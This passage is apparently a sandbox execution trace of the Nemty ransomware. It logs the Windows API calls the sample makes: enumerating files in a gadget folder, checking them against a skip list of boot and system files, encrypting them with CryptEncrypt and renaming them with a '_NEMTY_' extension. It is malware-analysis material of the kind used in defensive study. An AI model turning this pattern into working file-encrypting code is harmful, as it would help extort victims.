Flags=0x0, Size=0x170) returned 0x6348d60 [0127.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.294] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.295] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.332] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.351] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.401] CloseHandle (hObject=0xffffffff) returned 0 [0127.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0127.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0127.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.401] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png._nemty_kgobjgd_")) returned 0 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.401] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86300263, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86300263, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="add_up.png", cAlternateFileName="")) returned 1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2=".") returned 1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="..") returned 1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="...") returned 1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="windows") returned -1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="$RECYCLE.BIN") returned 1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="rsa") returned -1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="NTDETECT.COM") returned -1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="ntldr") returned -1 [0127.401] lstrcmpiW (lpString1="add_up.png", lpString2="MSDOS.SYS") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="IO.SYS") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="boot.ini") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="boot.ini") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="AUTOEXEC.BAT") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="ntuser.dat") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="desktop.ini") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="CONFIG.SYS") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="RECYCLER") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="BOOTSECT.BAK") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="bootmgr") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="programdata") returned -1 [0127.402] lstrcmpiW (lpString1="add_up.png", lpString2="appdata") returned -1 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_up.png", lpUsedDefaultChar=0x0) returned 10 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_up.png", lpUsedDefaultChar=0x0) returned 10 [0127.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_up.png", lpUsedDefaultChar=0x0) returned 10 [0127.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0127.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_up.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_up.png", lpUsedDefaultChar=0x0) returned 10 [0127.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0127.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.402] Sleep (dwMilliseconds=0x5) [0127.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff95c250, dwHighDateTime=0x1d561e7)) [0127.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff95c250, dwHighDateTime=0x1d561e7)) [0127.403] GetLastError () returned 0x5 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.403] GetLastError () returned 0x5 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.403] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.403] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0127.403] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="ScaVw39IlWOkalPjbABUEbJRGkPBHS3cFtspJdQEd+BcT9E1kHKwcq4sibR30mzW\r\nrlOTs9WcrwOhO4GUwUyWHa2EyZqlPUlGlS3pPEBjhdPghCn65nw9wO7IOhHw+IYk\r\nwmYkXtXY5QFs6DZR6b7iZAJj/mm7SevxgXVa5FlU66HUtfUKrGhLmiysaB3AbNs0\r\nrm599f2WaLs1HeLac/+M+QyNm3hDEgVKa7CbN7K+yy+m91UMUdfvJJ/n0UtYtYu9\r\nT6EdcVE8r3cvDumhwCYEvwJy4P9S/jhKxaEoj+QBvTqrgX3miMdpexSDvB4g1kuS\r\nnI3mYHQDk5THwB+YmDERAw==\r\n", pcchString=0x653e91c) returned 1 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0127.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.404] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.404] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.431] 